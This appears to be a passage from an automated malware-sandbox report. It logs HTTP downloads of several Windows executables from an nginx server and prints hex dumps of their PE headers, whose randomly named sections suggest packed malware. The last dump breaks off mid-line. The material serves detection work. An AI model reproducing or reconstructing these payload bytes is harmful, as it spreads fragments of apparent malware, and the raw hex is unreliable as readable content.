Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:35:44 GMTContent-Type: application/octet-streamContent-Length: 1915904Last-Modified: Tue, 29 Oct 2024 18:58:42 GMTConnection: keep-aliveETag: "67213062-1d3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 b0 44 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 40 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 40 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 65 6a 6a 63 69 6f 00 30 1a 00 00 20 32 00 00 22 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 66 69 6b 64 71 75 65 00 10 00 00 00 50 4c 00 00 04 00 00 00 16 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 1a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:08 GMTContent-Type: application/octet-streamContent-Length: 2127360Last-Modified: Tue, 29 Oct 2024 18:58:35 GMTConnection: keep-aliveETag: "6721305b-207600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 6f 74 67 6f 6d 61 00 d0 19 00 00 c0 58 00 00 c6 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 75 6d 72 76 77 6e 00 10 00 00 00 90 72 00 00 04 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 54 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:13 GMTContent-Type: application/octet-streamContent-Length: 2930688Last-Modified: Tue, 29 Oct 2024 18:58:21 GMTConnection: keep-aliveETag: "6721304d-2cb800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 48 f5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 71 68 62 70 74 74 71 00 00 2a 00 00 b0 05 00 00 fe 29 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 61 75 72 64 71 64 6e 00 10 00 00 00 b0 2f 00 00 04 00 00 00 92 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 2f 00 00 22 00 00 00 96 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:25 GMTContent-Type: application/octet-streamContent-Length: 1905152Last-Modified: Tue, 29 Oct 2024 18:27:01 GMTConnection: keep-aliveETag: "672128f5-1d1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 82 39 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 b5 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b5 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 6d 74 6e 69 6b 7a 00 00 1a 00 00 c0 31 00 00 f8 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 61 67 69 6b 70 6b 6a 00 10 00 00 00 c0 4b 00 00 04 00 00 00 ec 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 f0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:35 GMTContent-Type: application/octet-streamContent-Length: 2850304Last-Modified: Tue, 29 Oct 2024 18:26:38 GMTConnection: keep-aliveETag: "672128de-2b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 67 79 66 6e 65 75 62 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 65 64 67 68 78 6d 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:45 GMTContent-Type: application/octet-streamContent-Length: 11810304Last-Modified: Tue, 29 Oct 2024 17:36:31 GMTConnection: keep-aliveETag: "67211d1f-b43600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 ec b3 00 00 00 00 00 e0 00 02 01 0b 01 03 00 00 b6 40 00 00 fc 02 00 00 00 00 00 f0 18 07 00 00 10 00 00 00 d0 ad 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 10 b9 00 00 04 00 00 9a 0e b5 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 b5 00 5e 04 00 00 00 c0 b8 00 ac 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 b5 00 8c 83 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 e3 ad 00 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 38 b5 40 00 00 10 00 00 00 b6 40 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f4 f3 6c 00 00 d0 40 00 00 f4 6c 00 00 ba 40 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 3a 07 00 00 d0 ad 00 00 b4 02 00 00 ae ad 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 5e 04 00 00 00 10 b5 00 00 06 00 00 00 62 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 8c 83 03 00 00 20 b5 00 00 84 03 00 00 68 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 73 79 6d 74 61 62 00 04 00 00 00 00 b0 b8 00 00 02 00 00 00 ec b3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 2e 72 73 72 63 00 00 00 ac 47 00 00 00 c0 b8 00 00 48 00 00 00 ee b3 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:55 GMTContent-Type: application/octet-streamContent-Length: 2850304Last-Modified: Tue, 29 Oct 2024 18:26:40 GMTConnection: keep-aliveETag: "672128e0-2b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 67 79 66 6e 65 75 62 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 65 64 67 68 78 6d 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:36:59 GMTContent-Type: application/octet-streamContent-Length: 2930688Last-Modified: Tue, 29 Oct 2024 18:58:21 GMTConnection: keep-aliveETag: "6721304d-2cb800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 